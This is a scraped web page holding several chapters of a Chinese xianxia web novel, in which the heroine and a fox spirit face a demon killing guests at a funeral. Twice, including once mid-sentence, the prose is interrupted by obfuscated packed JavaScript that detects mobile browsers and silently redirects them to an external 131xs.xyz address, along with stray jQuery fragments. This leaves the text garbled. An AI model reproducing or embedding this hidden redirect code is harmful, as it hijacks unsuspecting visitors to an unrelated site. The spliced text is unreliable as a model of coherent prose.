l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941777|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仇师姐道歉?” 阿随在韩纪耳边低语:“这个薄情寡义,见异思迁的混蛋,我杀了他——” 韩纪死死按住阿随的手。 “好,我给她道歉,方才是我失礼了,仇师姐,抱歉。” 仇千水听了她的道歉,长呼了一口气,紧紧盯着眼前女子的脸,试图在那张脸上看到失落伤心委屈诸般的神色,却见女子神色不改,脸上甚至还带着淡淡的笑容。 仇千水尚在惊讶,又听她说:“只不过,仇师姐也得给我道歉,她诬陷我勾结妖宗,我也从来没做过,逍遥峰总不是这样空口无凭污人清白的地方吧。” 仇千水勃然大怒:“你不过运气好才护住了韩纪尸身,谁知道你怎么想的?说不准你就是想将韩纪献给万法妖宗,我哪里说错了?” 她话音刚落,另一个气冲冲的声音便由远及近。 “胡说八道!她抵抗万法妖宗,夺回韩宗主仙体可是经过鉴心剑检验,你们叶大长老也认可的!”付子英三步并做两步走挡在韩纪身前,仰着脑袋与高出自己半个头的仇千水对视,“倒是你,张着嘴颠倒黑白信口雌黄,方才的一切我都瞧见了,韩宗主功过如何都有各大长老评判,你一个初出茅庐的臭丫头,竟然说什么要将她赶出仙门的空口大话,真是嚣张狂妄!逍遥峰有你这样的弟子,倒了八辈子血霉!” 韩纪倒是没想到有朝一日付子英能回护她,诧异之中,一偏头就看见了盛开的海棠花后立着的卫朔。 他也来了,怪不得。 仇千水方才还仗势欺人,此刻对上付子英,气焰便熄灭了些许。 她似乎懒得和付子英拉扯,转身准备离去,便听见付子英的高呼声。 “大伙都来看看!这逍遥峰的弟子冤枉了人,骂了人,打了人,抱歉也不讲,转身就走哦!这就是他们逍遥峰教出来的好弟子!”付子英拍着手招呼着四周围观的宾客,“这以后我们这些小老百姓还不见了他们逍遥峰的就绕道走呀,也太不讲理了吧!大伙都来看看啊!都来看看!逍遥峰大弟子仇千水仗势欺人,玉苍派小女子楚清妙含冤受屈,逍遥峰大弟子仇千水颠倒黑白,玉苍派小女子楚清妙惨遭殴打……” 仇千水气得小脸涨红,伸出手想拦住付子英,却被她巧妙地躲开。 “够了。”裴云齐抢先一步拦住付子英,冷声道,“付师妹,你再捣乱就别怪我不客气了。” 付子英闻言震惊地退后两步,看了看身前黑着脸的裴云齐,又瞧了瞧身后气红了脸的仇千水,忽然捂住自己的左脸,大叫道:“哎呀,我好怕呀,你不会也要给我一巴掌吧!师兄,救命呀!你的师妹因为仗义执言今天要被逍遥峰这两个凶徒毒打一顿!双拳难敌四手,我一个娇滴滴的女娃如何打得过他们两个蛮横不讲理的流氓!” 韩纪心中的怒火一扫而空,噗呲笑出声来,乐滋滋地看着付子英装包作怪,觉得她比上次见面还可爱了些。 一旁阴沉着脸的阿随紧紧盯着韩纪面上的笑容,双眉紧蹙。 眼见闹剧无法收场,卫朔踏着胜利的曙光前来收尾。 他佯装发怒,喝令付子英退下,又转身看着裴云齐和仇千水,正声道:“为护逍遥峰声誉,还请仇师姐给楚师妹道歉。” 仇千水想走,但四周的宾客们纷纷对她指手画脚,她一抬眼看过去,那些人都是面带微笑一言不发,可一转过身,细细碎碎的嘀咕声便从四面八方涌出来,流进她的耳朵。 终在众人的目光之中,她不情不愿地道了个歉,狠狠地剜了卫朔一眼,付子英一眼,韩纪一眼,裴云齐一眼,接着又剜了四面围观的宾客一眼,才怒冲冲地夺门而出。 裴云齐向韩纪投来一个不明不白的目光,叹了口气,便也紧追她而去。 四周的看客又回到宴席上吃自己的饭,韩纪一边偷笑一边给卫朔和付子英各竖了一个大拇指。 卫朔走到付子英身侧,目光落在阿随身上。 韩纪笑着做介绍:“这两位是明霞宫的高徒、卫扶光、付子英。这是我的……小师弟,楚随。” 卫朔同阿随点了点头,随即目露怜惜地看着韩纪脸上的红痕,从袖中掏出一个瓷瓶,道:“楚姑娘,上次一别不过半月,我们又见面了,真是有缘得很。这瓶药膏是我——” 付子英一步挡在二人中间,奋力踮起脚尖,挡住卫朔的面容,朝着韩纪做了一个鬼脸,打断二人的谈话:“没有缘没有缘,今日来徐府的不说八百也有三百,算上这桌上的小猪朋友、小鸡朋友、小鸭朋友、面条包子朋友、满打满算也有五百个人,难道我们和这五百个人都有缘么?” 韩纪见她脸皮晶莹剔透,眼睛圆咕隆咚,可爱得很,接过卫朔递来的瓷瓶故意逗她说:“怎么会,卫师兄与我也算是两面之缘了,自然要比这些小猪朋友、小鸡小鸭面条包子朋友有缘得多。如今我受了伤,师兄赠药,这份情谊我也会铭记在心,而后若有机会,必将报答。” 她此言一出,付子英的小脸瞬间比桌上吃了一半的包子还皱,她张开双手护着身后的卫朔,比划道:“不行不行,你们没有缘分,我答应了师父要保护我师兄的,我告诉你你不要肖想他,他可是以后的唔——” “唔——” 卫朔捂住了付子英的嘴巴,对韩纪略带歉意地说道:“瓷瓶中的药对红肿擦伤疗效很好,今晚擦一次,明早红肿便可消除。她的话你别放在心上,我先带下去再抄抄门规。” 虽然卫朔捂住了付子英的嘴,但韩纪还是听见了那抑扬顿挫的几个字。 “你癞蛤蟆想吃天鹅肉!” 12. 还我命来 韩纪安静地用着餐食。 期间她身侧那如火如炬的目光让人不敢忽视。 终于,她再忍不住,撂下筷子,手指他脸,开口问道:“小狐狸,你不吃饭盯着我干什么?!大米饭长我脸上了?” 她刚说完就后悔了,因为阿随真从她的脸颊上取下一粒大米饭。 韩纪指着阿随的手指尴尬地收了回去,无可奈何地敲着木桌。 阿随见她不再言语,沉寂片刻,深思熟虑地开口:“你……很喜欢刚刚那个仙门弟子么?” 韩纪被他这慢吞吞、羞答答的模样烦得一佛出世二佛登天。 她本以为他是有什么大事要问,却不曾想他居然问她是不是喜欢刚刚那个仙门弟子,没好气地问道:“哪个仙门弟子?” 阿随见韩纪不耐烦,小心翼翼地给她倒了杯茶水,有些结巴地说:“就……那个叫付子英的?” 瞧着他小心讨好的可怜模样,韩纪不由得想到这小狐狸方才回护自己的情形,顿觉自己态度过于恶劣。 她压下烦躁的心绪,将那杯茶水一口饮尽,道:“不算很喜欢。” 阿随松了口气,给韩纪夹了两筷子梅菜扣肉,又夹了一片火腿,闷声问道:“那你很喜欢那个……那个卫扶光吗?” 他活像一个受委屈的小媳妇,长得又漂亮,韩纪不由得起了些逗弄他的心思,歪头一笑道:“卫朔?他确实是很不错,只不过我可是对裴云齐痴心一片的,在你眼里我是那样见异思迁的人么?” 她的眼睫在消瘦的脸上照下两小片阴影,看不出喜怒哀乐。 阿随目光在她面上飞快一瞥,随即偏过头去,闷闷道:“那个裴云齐,配不上你。” 良久,他补充道:“他配不上任何人。” 韩纪听他语声平淡,顿觉无趣,低头吃着碗里的肉,没将他的话听进耳中。 正当她吃得差不多时,阿随忽然问:“楚清妙……韩宗主的尸身怎么样了?” 这是阿随第一次直呼“楚清妙”这个名字,韩纪听了不免有些难过,顿时觉得碗中的红烧肉都没有味道了。 她幽幽叹道:“人已经死了一百年,尸体都没了,你以后不要为她和别人起争执,不值当。” 阿随神情落寞,沉默半晌道:“我才不会为了一个死人和别人起争执,更何况她是仙门中人,只不过兔死狐悲,有些唏嘘罢了。” 他的声音弱了,韩纪偏头看去,他低着头坐在一旁,面上似乎真有些伤心。 他在为她难过么? 她手上杀过的妖魔不计其数,他一只狐妖,居然为她难过? 韩纪顿觉可笑。 锁妖契不解,谅他也翻不出她的五指山。 韩纪懒得再管他的心思,紧了紧衣裳寻了个管事的丫鬟请她为自己安排住处。 “楚仙长,这位此次徐府丧礼,逍遥峰与明霞宫共来了十位仙长,留仙院共有十间客房,现下是一名仙长一间,您看您有没有相熟的,若是相熟直接与她同住也省去许多麻烦,若是没有相熟的,我再去给主人请示看看给您安排在哪里较为合适。” 领路的丫鬟春生低声说着话,时不时为韩纪挽开拦路的竹叶。 韩纪打量着四周的景色,目光被楼台水榭中一树海棠花吸引,笑道:“人间四月芳菲尽,山寺桃花始盛开。暑月将至,别处的海棠花都谢了,嘉州城的海棠还开得正茂。” 春生回眸一笑道:“嘉州城气候较别的地方湿冷,因此海棠花也开得久一些。府里请了盛京来的师傅,以花入膳,做了许多糕点。仙长若是感兴趣,稍后我去取一些给您尝尝。” 说话间,二人转进留仙院,一众仙门弟子正二人结伴、三两成堆地聚在一起聊天。 见是楚清妙过来,逍遥峰的弟子个个收了脸上的笑容,互相用眼神交流着。 韩纪方才迈上石阶,脚边便落下一只瓷杯。 啪的一声脆响,瓷杯摔碎,瓷片四溅, 一个男弟子探出头来,笑着说道:“这不是玉苍派的弟子楚清妙么?真是对不住,没认出你,还以为是从哪里翻墙进来偷东西的小叫花。” 他身后,逍遥峰的另外两名弟子也探出头来,脸上挂着轻蔑的笑容。 韩纪紧盯着他们的脸,借助楚清妙的记忆隐约辨认出他们的身份。 石翰轩、李林钰,陈素,都是逍遥峰的弟子。 春生满脸尴尬,伸手去拾碎片。 韩纪抢在她之前拾起锋利的瓷片,随手一抛,瓷片高高扬起,朝着逍遥峰三名弟子旋落。 铮的一声,利剑出鞘,韩纪拾阶而上,瓷片化为细纱。 陈素收回长剑,秀眉紧蹙,石翰轩高仰着头,怒道:“楚清妙,你竟敢以瓷片伤人!” 韩纪勾唇笑道:“真是好笑,这瓷片不是你们抛给我的么?要伤人也是你们在先。” 石翰轩一时语塞,他身后的李林钰立刻骂道:“莫说我们是无心之失且未伤着你,就算今日伤了你,那又如何?狼心狗肺、满嘴谎言、只知情爱、不知责任的偷鸡摸狗之辈,也称得上是个人?” 双方争执不休,春生连忙站出身来,将过错都引到自身,只求几个贵客莫要再吵。 眼见春生急得要掉眼泪,陈素伸手按住石翰轩,道:“师弟师妹,你我皆是逍遥峰的弟子,出门在外一言一行皆要谨慎,比不得那些小门小户的旁门左道,今日之事便就此揭过,莫要再与无关之人争口舌之快。”她话刚出口,三人冷哼一声,转身离去。 韩纪看着三人的背影,摇头笑道:“我还没说什么,自己就把事情揭过了,这逍遥峰的弟子还真是不好惹。” 眼见三人离去,春生重重出了口气,转身给韩纪安排房屋:“这位仙长,这边请。” 二人方走至一间开着门的客房前,谁知一名女弟子走出来将房门紧紧关上,其他的房门亦是如此,原本门户大开的留仙院眨眼之间便门户紧闭。 春生脸上的笑容微微凝滞,有些尴尬地看着韩纪,一时之间不知如何开口。 一名明霞宫的男弟子自小窗之中探出头来,冲春生说道:“我们修仙之人喜静,还要修炼自家心法,实在无法与这等鸡鸣狗盗之徒共处一室,你去与你们家主人说单独给他们玉苍派的弟子安排住处,若是非要与我们合住,我们也只好打道回府了。” 韩纪不忍春生为难,轻声安抚她道:“你莫急,没住处的是我,我都不急你急些什么,我只要有个屋顶有张床,便可歇息了。” 一众仙家弟子的话终是传进了徐云石的耳朵里,徐府最终给韩纪安排了一间柴房。 春生甚是惭愧地帮韩纪铺着烂木板支成的床,轻声道:“楚仙长,如今府内前来吊唁的宾客众多,家主说如果楚仙长需要的话,可以出资在嘉州城最好的客栈给您开间上房……” 韩纪摆摆手道:“不必了,我就住这里,虽是陋室,惟吾德馨,苔痕上阶绿,草色入帘青,听着也不错,符合我的身份。” 春生踌躇再三,终在离去之时站在廊下同韩纪说:“逍遥峰那位仇仙长找了家主,说了些话,家主此番安排也是不得已而为之,还望楚仙长不要记恨。” 待得韩纪点头答复,她方才转身小步离去。 “他们这是要逼你走,很明显,人家为了不得罪那些仙门弟子,只能得罪你了。” 阿随的身影从檐下落下,倚着破旧的木门假模假样地叹道,“我倒是听见那位卫师兄维护你了,可是有什么用呢?他再不错,也不过是个师兄,不仅改变不了师弟师妹的看法,还没胆子替你出头,差劲得很呐。” 韩纪伸手拂去木床上的灰尘,悠闲自在地躺下,慢悠悠道:“我又不是来争强斗胜,睡高床软枕的,有个有屋顶的柴房住已经很不错了。倒是你,安分一些,若是被这些仙门弟子发现了,我可没功夫保你。” 夜色将晚,灵堂前守灵的人越来越多。 厅前廊下,随处可见披麻戴孝的男女老少。 早些时候摆宴席的桌子如今放了些馒头茶水以备不时之需,棺木前,男子举着哭丧棒悲痛地唱着孝歌,吹拉弹唱之声此起彼伏,不绝于耳。 韩纪躺在床榻上阖眼假寐,腐朽的木桌前一点油灯亮着,阿随支着脑袋坐在木桌旁,目光轻轻落在灯下的影子上。 灯火摇曳,影子忽长忽短。 纸糊的窗户抵不住风,丝丝凉意蹿进柴房里,不多时一个小厮提着油灯蹑手蹑脚的推开房门抱了一捆柴火出去。 小厮刚刚出去不久,一道尖锐的喊叫声便传遍了徐府。 “死人了!死人了!我的娘呀!” 正围着灵柩诵安魂咒的一众弟子瞬间收了嘴中要说的话,脸上要展的神情,手上要做的事情,拿起宝刀、长鞭、利剑,鱼跃而出,沿着声音传来的地方狂奔而去。 待到韩纪赶到,府中的几个婢子跌坐在地上,水桶打翻在地,满地湿漉漉。 几个家丁正在王婆的指挥下打捞着井中的东西,不多时,一具被泡得发胀的男尸被捞了上来。 “王管家,怎么会是他?!” “他前些天突然告病回家,未曾想被溺死在这里……我今天还喝了这里的水……这也太吓人了……” 徐府家主徐云石在仙门弟子后到来,他满目血丝,面色苍白,见是管家,原本哀戚的面容更加晦暗,颤颤巍巍地走至仙门弟子面前,惊惧交加地说道:“有妖物作祟!有妖物作祟!我徐某一生积德行善,还请诸位仙长为我驱逐妖邪!” 卫朔扶起徐云石,道:“徐老爷放心,我辈修炼便是为了除妖驱邪,定会为你们查明真相,主持公道。” 韩纪在老管家的尸身面前蹲下,扫视他身上的伤痕后,瞑目观视。 漆黑冗长的回廊如同诡 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“不好了老爷!不好了!”账房先生李元快步走进庭院,满是汗水与皱纹的脸上露出惊慌失措的神情,他的到来吸引了院内所有人的注意。 他进了院子,率先瞧见了老管家的尸体,那惊慌失措的神情之中又流露出惧怕与悲伤,而后悲伤又被惧怕取代,他的泪水从眼眶之中流了出来,眼睛却不敢不放在徐云石的脚背上,甚是紧张地说着:“您快去府门前瞧瞧吧,出大事了!” 韩纪跑至大门前,只见原先悬在府门前的白灯笼都被鲜血染红,一具无头尸身正吊在那徐府的匾额之下,苍茫茫的天空还点缀着些许绯红的残云,黯淡的光影中尸身随着微风旋转着,像是一只吊颈的乳猪。 待到尸体旋转到背面,韩纪眯着眼瞧清了上面写的血字。 “但凡出府,格杀勿论!” 在府门之外,所有今日来吊唁之人的尸体都横七竖八地躺在地上,韩纪望了一眼,数十具尸体全是双手掐着自己脖颈,窒息而死的,不由得暗暗惊讶。 这妖怪在无声无息之间杀死三十多个人,在场十余个仙门弟子无一人发现,实在太过匪夷所思。 丫鬟家丁害怕得连连后缩,前来吊唁尚未离去的宾客也个个如临大敌,便是仙门子弟也不由得倒吸一口凉气。 徐云石在账房先生的搀扶下姗姗来迟,瞧见这无头尸身的第一眼,他的脸一刹间变得铁青。 “老天爷啊,他不过一个痴傻之人,是什么歹毒的妖怪,连一个痴儿都不放过!”徐云石咒骂着,又催促一旁的家丁去收尸报官,“还愣着干什么!快将尸体收下来,上报官府!若是王妈妈瞧见了,她得伤心成什么样子!” 韩纪站在丫鬟小厮之后打量着那具无头尸身,暗想道:“这人应该就是王婆口中的康哥了。” 人群之中有人议论。 “这些人一出府门就死了,若是我们出去,会不会也会被杀死?” 此言一出,人心惶惶。 几个胆大的仙门弟子帮助家丁一齐将尸体搬进府内,却无人敢迈出府门一步,只得任由其他尸体躺在府门外。 眼瞧着府内的家丁全都畏畏缩缩,徐云石气不打一处来。 他指着家丁与丫鬟,怒骂道:“养兵千日,用兵一时,我徐府买了你们的卖身契,给你们好吃好喝好穿,如今叫你们去报官,你们因为一句瞎话便吓破了胆子,我养你们何用!” 便在几名家丁被提溜出来,不得不前去报官之时,陈素站了出来,冲着仇千水作揖道:“师姐,陈素愿以身试法,前去报官!” 说罢,她提起长剑快步踏出府门。 一步…… 两步…… 三步…… 所有人都下意识地数着她的步伐,每个人的心都好似被装进一个一个的药罐子里,他们的身体紧锁在一起,眼睛紧盯着一处。 四步…… 五步…… 六步…… 陈素早已跃出府门,却仍平安无事。 她紧耸的肩放下了,众人紧蹙的眉头也松开了,呼吸声又存在于这方寸之间。 陈素转过身来,对着府内的众人朗声说道:“大家看看,不过是妖魔吓唬人的把戏罢了,世上哪有这样玄妙的东西——” 她的话还未说完,眼睛陡然睁大,原本琥珀色的瞳孔里映出血红色的花纹。 不好! 韩纪拨开人群,率先抢出府去。 在她对面,方才还神情自若的女弟子已经抽出手中长剑,悬在自己颈侧。 她面上露出狰狞的笑,双目赤红,声音变得尖锐而细长:“还我命来!还我命来!” 话音刚落,长剑吻上女子的脖颈,伤口如同一条红线在白皙而纤细的脖颈上撕裂开来。 13. 被困前厅 韩纪立刻夺过陈素手中的兵刃,一个掌刀将她劈晕过去,可她的脖颈上还是多了一道触目惊心的裂口。 所有人都被这一幕吓傻了,呆愣在原地。 他们不知道陈素死了没有,伤心,害怕,惊恐,后悔交织在一颗颗年轻而稚嫩的心中,终于,一个小弟子喃喃出声:“我们也会死……我们也会死的!” 这句话如同一粒碎石击破了平静的湖面,无边的涟漪溢了出来。 仙门弟子窃窃私语,迷茫的眼睛在身边所有人的脸上逡巡着,寻找着,最终落到了卫朔与仇千水的脸上。 “大家莫要惊慌,不过是个妖怪而已,咱们在葬灵山杀的妖怪还少么?”仇千水面色铁青,头上的纱布尚透着血色,却高昂着头,像一只孤傲的孔雀。 卫朔此时已与韩纪一起将陈素的伤口处理好,将她抬进了府内。 见明霞宫的弟子都紧盯着自己,一个个如同嗷嗷待哺的鸟儿寻求母亲的喂食,他安抚道:“如今妖物在暗,我们在明,难免会遭到些暗算。只要提高警惕,妖物便不会有可乘之机,到时候便是它害怕我们了。” 话虽如此,但再回到前厅,先前的嬉笑怒骂早已不在,前来吊唁的宾客将仙门弟子与徐云石围得水泄不通。 “今夜,已经有三十多个人中了妖物的毒手,其中还有一名是仙门子弟,这个妖怪的实力不容小觑。徐云石,你是否有事情瞒着我们?”仇千水微扬下巴,目泛寒芒。 徐云石浑浊的双眼一瞬放出精光,满面愁容地看向窗外的风景,偏着脑袋细细回响片刻,摇头叹道:“我这一生行善积德,好善乐施,给灾民送过粮食,给将士捐过棉衣,大旱时开仓赈灾,洪涝时捐银修坝,不敢说忠孝贤良、公平正大,但也是问天问地,问心无愧,未开罪过什么人,更没结过什么仇,实在不知为何会平白无故惹了妖邪,还请诸位今日救我一救!” 眼见徐云石越说越激动,卫朔连忙上前安抚他的情绪,道:“徐员外,当务之急是先将府中家眷、下人集中到前厅。这个妖怪来势汹汹,想必今晚就会有所动作,稍后我们将会传金符与山中长老,请他们务必天明之前赶来搭救。” 徐云石连忙叫账房先生通知丫鬟与家丁备好吃食,在前厅之中布好棉毡软垫,以备贵人休息之用。 仙门弟子们也没闲着,卫朔与仇千水带着三四名身手不错的弟子跃上屋檐,在房屋的四角悬挂辟邪幡,示妖铃,布下捉妖阵法;付子英与裴云齐带着两个略通符箓的弟子在前厅的各扇门窗上贴上符纸,以朱砂画下护宅镇邪符。 “天有天将,地有地祗……” “斩妖除恶,解困安危……” “如妖邪至,挫骨扬灰……” 韩纪抱手站在门前,每每想伸手相助,都被挡开。 她索性不再自讨没趣,双目不住地扫视着在场每一个人,心中暗暗想着徐府中的诡异之处。 正当她想得出神时,一股淡淡的香气自廊下传来,她偏头瞧去,阿随双手抱胸从转角处探出身子。 韩纪正要问他跑去哪里之时,付子英恰好贴符贴到韩纪身前,笑嘻嘻道:“很好呀你们两个,一个貌丑,一个气恶,倒不如站在这里做个门神,也能攘邪消灾。”韩纪佯怒要抬手给她一巴掌,被她哈哈大笑着躲开。 眼见着所有人都将自己当做累赘,韩纪干脆懒得麻烦,找了个石阶坐下,正觉肚饿,两只热腾腾的烧鸡忽然被递到眼前。 她闻着这烧鸡的香气,忍不住道:“小狐狸,这么久了你总算是做了些合我心意的事情。”说罢,她扯下一只鸡腿,塞进嘴里,心满意足地吃了起来。 阿随没说话,只是坐在她身侧,静静地看着她。 “方才徐云石的话你怎么看?”韩纪咬下鸡腿上最滑嫩的那块肉。 阿随道:“他在说谎,人都爱说谎,没一个好东西。” 韩纪点头认可他的一部分言论,补充道:“妖也不是什么好东西。你说这妖怪是如何能做到控制那么多人自杀而死的?实在奇怪。” 阿随左右看了一眼,从怀中取出一块糕点,递到韩纪面前,低声道:“这个糕点据说是徐府独有的,所有前来吊唁的贵客和仙门弟子都送了一份。” 韩纪接过糕点,鼻尖轻嗅,闻见一股淡淡香气。 她两辈子什么糕点没吃过,可却从来没闻过这个味道。 她眉头蹙起,看向阿随,疑道:“怎么我们没有?” 阿随揉了揉眉心,道:“我们两个臭鱼烂虾,人家做什么把这么好的糕点给我们,这烧鸡不是我,你现在能吃得到?” 韩纪撇了撇嘴,再次认可他的一部分言论,道:“亏得你是个实打实的偷鸡贼,你鼻子那么灵,闻出什么味道没有?” 阿随凑到她耳边,压低声音,道:“这糕点中有一股很奇异的味道,像是花香,又像是女人的胭脂香,还有尸体发烂的味道,说不上来是什么,但是我拿我的鼻子和你担保,每一具尸体的嘴里都有这股味道,而且现在这府里,只有我们两个没有吃这个糕点。” 韩纪眉头紧蹙,十分嫌弃地把糕点塞回阿随手中,喃喃道:“那得多难吃啊,拿走拿走我不吃。” 乌云顷刻间遮蔽月轮,屋外狂风大作,示妖铃发疯一般抖动起来,尖锐的铃声响彻整个黑夜。 府中宾客与女眷纷纷聚集在一处,丫鬟与小厮壮着胆子拿着棍棒笤扫拦在宾客与女眷之前,仙门弟子抽出兵器,将一众人等围在身后。 余光瞥见坐在圆柱后石阶上说话的楚清妙与阿随,卫朔神情凝重地催促道:“楚师妹,快带着你的师弟速速躲到我们身后,免得一会儿伤及性命。” 韩纪抽出青木杖准备与他们一同御敌,却不曾想仇千水冷哼一声,道:“你那点三脚猫功夫,可别在这里丢人现眼了。真打起来,谁知道你是哪头的?” 韩纪将青木杖插回身后,拉着阿随找了个空站着,道:“那就看诸位仙长的身手了,我的小命此时此刻便在你们手中。” 仇千水偏头看着韩纪,刚想继续冷嘲热讽,门外便传来拍门声。 众人被吓了一跳,闻声看去,只见门外显出一个女子的身影。 “师姐!开门呀!我是陈素!” 这声音是—— 仇千水回身望去,陈素分明好好的躺在地上,照明的油灯在她身后燃着,她脖颈上的伤口被白纱包裹,点点红痕正浸染出来。 “妖孽!你伤了我师妹,竟还敢冒用她的身份,还不显出形来,速速受死!”仇千水厉声骂道,手中捻诀,天上惊雷滚落。 屋外的人影更明显了,她用力地拍打着紧锁的木门,声音尖锐而恐惧:“师姐,那不是我!你们都被她骗了!我是受了伤,但是我一盏茶前便醒了!不信你问裴师弟,我还和他说我渴了,叫他给我寻些水来,却不曾想被那妖孽钻了空子,那妖孽将我丢在井里,又化成我的样子去害你们了!” 夜风呼啸间,众人心惊胆战,方才还守着陈素的丫鬟惊呼一声,连滚带爬地扑进人群之中,所有人都屏气凝神地望向昏迷着的陈素。 仇千水不敢大意,急声问裴云齐:“她说的是真是假?!” 裴云齐后背惊起一层冷汗,慌乱答道:“我不知,早些时候陈师姐确实醒了说嘴里苦让我给她寻点水,我去了,再回来师姐又晕了过去……我不知……” 此言一出,屋内众人一时之间分不出谁真谁假。 便在这时,屋外的女子传来惊恐的喊声:“师姐救命!救我!林钰救我!” 仇千水抬眼望去,只见屋外女子的身影奇异地扭曲起来,鲜血飞溅。 “救救我!” 与陈素相熟的李林钰早已骇得说不出声,她冲出阵去,抬手便要松开门栓,却被仇千水用长鞭卷了回来。 “师姐!救救陈师姐吧!”李林钰崩溃大喊,话还没说完,便挨了仇千水一巴掌。 仇千水双目欲裂,大怒道:“睁开你的眼睛看看,陈素好端端地躺在那里!方才那些说不准都是妖孽的诡计!你若开了门,放妖孽进来,屋中数十人的性命谁担得起!” 她话音刚落,众人便惊恐地发现,角落中的油灯熄灭了。 方才陈素躺着的那处此刻已被黑暗笼罩,无人知晓她是否还在那里。 宾客与女眷中传来异动,人们慌乱地往仙门弟子身后躲去,人头攒动之间,陈素双目赤红,立在其中。 她头发飞扬着,眨眼之间捉了一个宾客,鬼魅一般倒悬在梁上。 那宾客挣扎着,但胸膛已被陈素的手洞穿,如同一只将死的□□一般串在她的手臂上,在半空中徒劳地蹬着腿。 仙门弟子捻诀施法,慌乱地攻击着在房梁四处爬行的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941779|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈素,一时之间,厅堂中处处落下墙灰、木屑与碎石来。 极其诡异而清淡的妖气在屋中弥散。 韩纪跟随着躲避的丫鬟们移动,忽觉有人躲在自己身后,回首望去,却是春生。 “仙长救救我吧!我好害怕!”春生泪眼盈盈,几近崩溃地拽住韩纪的手臂,哀求道,“仙长,你救救我!我不想死,我不想死的呀!” 韩纪看着仙门弟子和打地鼠一般没个准头,一拍春生的肩膀,安抚道:“你莫怕,我把她打下来。” 她将春生交托给阿随,越过仙门弟子,在大厅中央站定。 被陈素穿胸而过的宾客已经死去,他的四肢在陈素攀爬之中尽数折断,心肝脾肺更是在撞击中落了一地。 韩纪抽出腰后的青木杖,抬头望着在黑暗的房梁之中如蝙蝠一般穿行的陈素。 “楚清妙,你莫要逞强!快回来!”裴云齐一边攻击陈素,一边焦急地呼唤。 韩纪头也未曾偏地回他道:“照你们的打法,怕是妖孽还没抓到,我就要被倒塌的屋梁砸死了,也是时候让逍遥峰和明霞宫的仙长们瞧瞧玉苍派的本事!” 说时迟,那时快,她听得一声重响,凝目看去,宾客的尸体落在地上摔得七零八落,陈素正伸着双手朝她扑来。 韩纪手中青木杖飞旋着,格住陈素沾满鲜血的双手,双腿借力一蹬在空中漂亮的翻身,稳稳骑在陈素的肩头,将她重重压倒在地。 陈素挣扎着跃起,带着韩纪也在空中翻了几个圈,但无论她如何挣扎,韩纪都稳稳骑在她的背上。 韩纪口中默念驱邪口诀,青木杖灵光大显,与陈素皮肤相接之处烧起火来。 陈素凄厉地尖叫着,双手却被青木杖高高带起,听得咔哒几声脆响,那沾满鲜血的手登时如同风筝线一般落下,已然被韩纪拧断。 空白的符纸嗖的一声飞到韩纪手中,她咬破手指画了张驱邪符咒贴在陈素脑门,立起身来,利落地将青木杖插回腰后,在宾客尸体旁的木椅上坐下,优哉游哉地倒了杯茶,见众人呆呆地站在原地看她,疑惑道:“看我干什么?!妖孽在我脸上么?还不赶快拿捆妖绳将陈素绑起来?” 人群之中很快便传来嘘声,石轩翰抢出头来骂道:“楚清妙,你在这里耍什么威风?!谁不知道你这些本事都偷学我逍遥峰的!” 韩纪冷笑一声,斜倚着太师椅,低头呷了口茶,问:“是么?我怎么不知道我还学过逍遥峰的本事?” 石轩翰道:“裴师兄,你在玉苍派待过,你说说,她方才那招是玉苍派还是逍遥峰的?” 裴云齐盯着韩纪,冷冷道:“确实不是玉苍派的招数。” 韩纪懒得和他们争辩,摊手道:“你们说不是就不是喽,就请各位逍遥峰的高徒赶快把妖抓了,也好让我见识见识你们的本事。” 争吵之间,付子英与卫朔已将陈素牢牢绑在圆木上,只是可怜了地上剩余的苦主,这里一块那里一块,他们只好一一捡起放进木盆中为其超度。 屋内一众宾客见方才还和自己谈笑风生的朋友眨眼之间便死无全尸,身首异处,一时之间惊惧更甚、又不免得悲从中来,个个以泪洗面,瑟瑟发抖。 哭声、哀求声、责备声、叱骂声不绝于耳,七八个仙门弟子只得不住地安慰三十多个宾客与丫鬟小厮,直到一声凄厉的惨叫传来。 “林钰师妹,你救救我!” 韩纪抬头望去,李林钰不知何时已经站在门前,手已经触碰到门缝之上张贴的符咒。 “李师妹不要!”裴云齐大喊着想去将她拉回来,可他的手方伸出,符纸便已经被李林钰扯下。 紧闭的门刺啦一声被拉开,狂风如同巨浪一般翻涌着滚进来。 屋外,一轮血月挂在夜空之中,重重迷雾里传来窸窸窣窣的爬行之声。 门廊之下,没有陈素,没有妖邪,什么都没有。 裴云齐与仇千水第一时间扯开李林钰,利落地将门封住,从怀里掏出符纸一张一张重新贴牢。 待到将门重新封好,仇千水抽出腰间的长鞭就要教训李林钰,可面对飞舞而来的长鞭,李林钰躲也不躲地立在原地。 她呆呆地望着屋顶,渐渐露出惊恐万分的神情。 众人循着她的目光看去,沉旧的房梁之上,散着金光的镇宅驱邪咒正在一张一张的褪色。 14. 怨毒之力 “蠢货一个。”男人的声音在身后响起,韩纪偏头,对上阿随轻蔑的神情。 一道响亮的耳光声传来,仇千水狠狠扇了李林钰一巴掌。 仙门弟子用尽浑身解数修补符箓,可死亡如同秋风一般在屋顶与墙壁之间蔓延。 风一吹,无数枯黄的符纸便悄无声息的落了地,眨眼之间焚为灰烬。 匡察一声,紧闭的木门再次被狂风冲开,屋内众人皆被掀翻,烛火霎时熄灭,一时之间桌翻椅倒,人斜地摇。 韩纪借着风力翻身稳住身形,顺手拽回两个被狂风裹挟着往门外滚去的丫鬟丢进柱子后面。 “救命!” “师兄!” 两声尖锐的喊叫声传来,韩纪眯眼看去,依稀只见两个女子身影被拖出门去,她欲追出手腕却被人扯住。 那人力气很大,韩纪只觉自己手腕传来剧痛,再抬头便已经被拉到他怀中。 她茫然地抬头对上卫朔的视线。 